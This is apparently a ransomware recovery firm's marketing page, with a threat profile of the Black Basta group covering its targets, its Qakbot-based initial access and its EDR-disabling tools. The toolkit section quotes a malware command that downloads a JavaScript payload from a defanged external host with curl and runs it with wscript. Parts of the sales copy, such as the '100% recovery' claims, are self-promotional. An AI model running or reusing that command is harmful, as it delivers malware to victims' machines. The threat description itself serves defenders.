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If you’ve landed on this page, it’s possible that you’re facing a challenging situation involving the recent Black Basta ransomware attacks.
At Fast Data Recovery, we are equipped with the expertise, tools, and resources needed to assist you in recovering your valuable data swiftly, typically within a timeframe of 24-48 hours.
Black Basta ransomware emerged in April 2022 and went on a spree breaching over 90 organizations by Sept 2022 and based on research it indicates the individuals behind this group has links with Maze, Ryuk, Darkside and BlackCat
Black Basta ransomware activities has dramatically increased this year when compared to the previous year
We have been successful in helping clients recover data from Black Basta ransomware.
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Black Basta Executive Summary
Black Basta was initially spotted in early 2022, known for its double extortion attack, the Russian-speaking group not only executes ransomware, but also exfiltrates sensitive data, operating a cybercrime marketplace to publicly release it, should a victim fail to pay a ransom. The threat group’s prolific targeting of at least 20 victims in its first two weeks of operation indicates that it is experienced in ransomware and has a steady source of initial access. The level of sophistication by its proficient ransomware operators, and reluctance to recruit or advertise on Dark Web forums, supports why many suspect the nascent Black Basta may even be a rebrand of the Russian-speaking RaaS threat group Conti, or also linked to other Russian-speaking cyber threat groups. Previous HC3 Analyst Notes on Conti and BlackMatter even reinforce the similar tactics, techniques, and procedures (TTPs) shared with Black Basta. Nevertheless, as ransomware attacks continue to increase, this Threat Profile highlights the emerging group and its seasoned cybercriminals and provides best practices to lower risks of being victimized.
Black Basta Overview
Although Black Basta was first observed in April 2022, evidence suggests that the RaaS threat group was in development since February 2022. In its first two weeks alone, at least 20 victims were posted to its leak site, a Tor site known as Basta News. It exclusively targets large organizations in the construction and
manufacturing industries, but was also observed to target other critical infrastructure, including the health and public health sector. While primarily targeting organizations within the United States, its operators also expressed interest in attacking other English-speaking countries’ organizations in Australia, Canada, New Zealand, and the United Kingdom. Threat actors that used the ransomware have additionally impacted organizations based in the United States, Germany, Switzerland, Italy, France, and the Netherlands.
The highly capable and successful organization has kept a closed profile over the last year, indicating that it may be similar to private groups like Conti, TA505, and Evil Corp. Rather than rely on comprehensive spray-and-prey tactics, the elusive group takes various precautions and relies on a more targeted approach, calculatingly assessing its victims before compromise. The group either excludes affiliates or only collaborates with a limited and trusted set of affiliates. Regardless, in only a short span of time remaining under the radar, Black Basta has conducted massive breaches in critical infrastructure across multiple countries.
Black Basta Technical Analysis and Information
Black Basta ransomware, like many other ransomware threat actors, follows the double extortion trend: stealing data before encrypting an organization’s files, and then threatening to publish the stolen data on a leak site as leverage to convince victims to pay the ransom fee.
Initial access is often acquired via RDP and increasingly via malicious links in spear phishing emails. Common tools used by Black Basta are Qakbot, SystemBC, Mimikatz, CobaltStrike and Rclone.
Black Basta Initial Exploit
Black Basta often gains initial access via a link to a malicious document delivered by email in the form of a password-protected zip file. Once extracted, the document installs the Qakbot banking trojan to establish backdoor access and deploy SystemBC, which establishes an encrypted connection to a C2 server. Often, Black Basta will acquire network persistence via legitimate remote access software tools.
Black Basta often attempts to disable security tooling via premade scripts that interact with the registry.
Black Basta loiter time is typically two to three days. However, we have discovered an extended hibernation time of 2-3 month sometimes occurs before.
It has also been reported comprised systems have been reattacked as it seems that initial access is being sold to associated threat actors which is common.
Next, the post-exploitation framework known as CobaltStrike is installed for reconnaissance and deploying additional tooling across the network. Unlike most threat actors, Black Basta utilizes numerous tool deployment and remote access methods.
Toolkit Deployment
After the link file is executed, a curl command is executed to download a Javascript file, and this is then executed by wscript.exe to compile the Qakbot binary. It also contacts the command-and-control servers to inform the threat actor that it is alive.
Example:
/q /c echo 'zA1' && MD "%APPDATA%\Iu\MlSL" && curl.exe --output %APPDATA%\Iu\MlSL\FEqwhs8j.GE.v6E.js hxxps://partoniroo[.]com/N9/u.js && ping O0[.]org && cd "%APPDATA%\Iu\MlSL" && wscript FEqwhs8j.GE.v6E.js && ping H[.]io && ping u[.]org
Typically, a dll file is registered by RegSvr32 and a scheduled task is created. Qakbot is utilized to provide backdoor access and to deliver the next stage of tooling. Typically, persistence is achieved by the creation of autorun entries and scheduled tasks. This allows threat actor to maintain a foothold within the network with backdoor access.
Batch scripts are often deployed to inhibit detection by anti-virus or other security software. The script names vary; however, the content appears to be similar and generally operates in a similar way by removing Windows Defender in stages. Other scripts to remove specific anti-virus have also been identified including a script to establish a scheduled task to prevent anti-virus being reenabled.
FDR has seen attempts to disable endpoint detection and response (aka EDR) tooling by utilizing the tool named Backstab. To achieve this, they use a legitimate copy of the process explorer driver within C:\Windows\system32\drivers\ . This driver is used to kill process handles of the EDR tools. The tool then checks the registry for names of common EDR tools and disables user access control (UAC) before attempting to remove those EDR tools.
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Black Basta Ransomware Recovery Procedures
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Our corporate headquarters is strategically situated in Sydney, Australia, and we operate with a global team of 12 highly skilled engineers, spanning across Australia, the United States, the United Kingdom, and the Philippines.
We bring a wealth of resources, knowledge, and extensive experience to bear on the task of not only removing ransomware threats but also ensuring your organization is fortified against future attacks.
At Fast Data Recovery, we recognize the paramount importance of your data and, as such, we spare no effort in swiftly and effectively restoring your critical business information.
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We strongly discourage paying a ransom to cybercriminals as the chances of successfully recovering your files are slim.
In some cases, when you attempt to negotiate with hackers and fail to meet their ransom demands, they may retaliate by exposing sensitive information about your organization to the public. It is advisable to refrain from any communication with them. Please note that using an alternate email does not guarantee your anonymity, as each infection is typically associated with a unique identifier linked to your organization.
Based on feedback from customers who paid the ransom without seeking assistance from a ransomware recovery company or attempting to negotiate, several scenarios have emerged:
- The hackers might demand additional payments after you’ve made the initial one (a recurring trend).
- The hacker’s email address is often shut down by the email service provider, as these addresses are reported to domain webmasters. This is especially likely to occur given that numerous victims are affected simultaneously.
- Hackers may provide you with a sample file, take your payment, and then cease communication.
- In some cases, the hackers may indeed restore some or all of your files, but there is no guarantee.
If you or your organization is dealing with a ransomware incident, it’s important to consult with our experienced team so we can help assess your specific situation and advise on the best course of action. The decision on whether to pay a ransom, negotiate, or seek alternative recovery methods should be made carefully, taking into consideration the potential risks and consequences.
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At Fast Data Recovery, we cater to the needs of both individuals and businesses seeking data recovery following a ransomware attack. With our extensive resources, experience, and expertise, we are well-prepared to undertake comprehensive ransomware data recovery services.
Furthermore, we offer ransomware removal solutions and implement ransomware preventative measures to safeguard you from potential future attacks. Our goal is to not only recover your data but also fortify your systems against ransomware threats.
Ransomware Prevention & Security Audit Services
Fast Data Recovery is your trusted ally, providing a comprehensive suite of Ransomware Prevention and Protection services to fortify your organization against the persistent menace of ransomware attacks.
In the unfortunate event of a ransomware intrusion, we strongly recommend disconnecting the infected system from your network. We discourage shutting down the system, as this could exacerbate data corruption and impede swift recovery.
Attempting to remove the ransomware independently is unwise. Utilizing antivirus or malware removal software can lead to further harm, rendering the encryption irreversible. Ransomware eradication and data recovery are tasks best entrusted to seasoned ransomware recovery specialists.
Fast Data Recovery boasts the essential knowledge, resources, and expertise to not only recover your data but also comprehensively eliminate all known ransomware and malware variants. In the majority of cases, we achieve a 100% recovery rate for our clients’ encrypted data.
Our data recovery process is streamlined, user-friendly, and designed to promptly restore your critical data, ensuring your business can swiftly resume normal operations.
Fast Data Recovery extends a comprehensive Ransomware Prevention and Security Audit service to fortify your network against future attacks:
- Identify the source of the attack to enhance network security.
- Detect and eradicate ransomware on your server.
- Eliminate ransomware time-bombs, backdoors, and key-logger trojans planted by malicious actors.
- Provide complete protection against all current known ransomware types.
- Safeguard your server from common hacker exploits.
- Scrutinize the registry for any alterations made by hackers.
- Conduct an in-depth analysis to identify prevalent hacker practices.
- Perform a thorough network and security audit to mitigate risks, accompanied by a detailed report outlining recommendations for enhanced protection against future threats from other devices on your network.
- Offer best practices and solutions to shield your business from ransomware-related downtime.
- Assess your current backups and offer advice on optimal backup practices.
- Verify the adequacy of your antivirus software in protecting against ransomware. Many antivirus solutions fall short in this regard.
- Conduct a Group Policy and Password audit, with associated recommendations.
- Provide general IT recommendations if we identify opportunities for improving your overall system and processes.
- Optionally, but highly recommended, perform a comprehensive scan and implement preventive measures on your computers and laptops.
In today’s digital landscape, the question is no longer if but when your organization will face the risk of a data breach. As the threat landscape continues to evolve, it exposes more vulnerabilities for threat actors to exploit, putting businesses at risk of unauthorized access and critical data loss.
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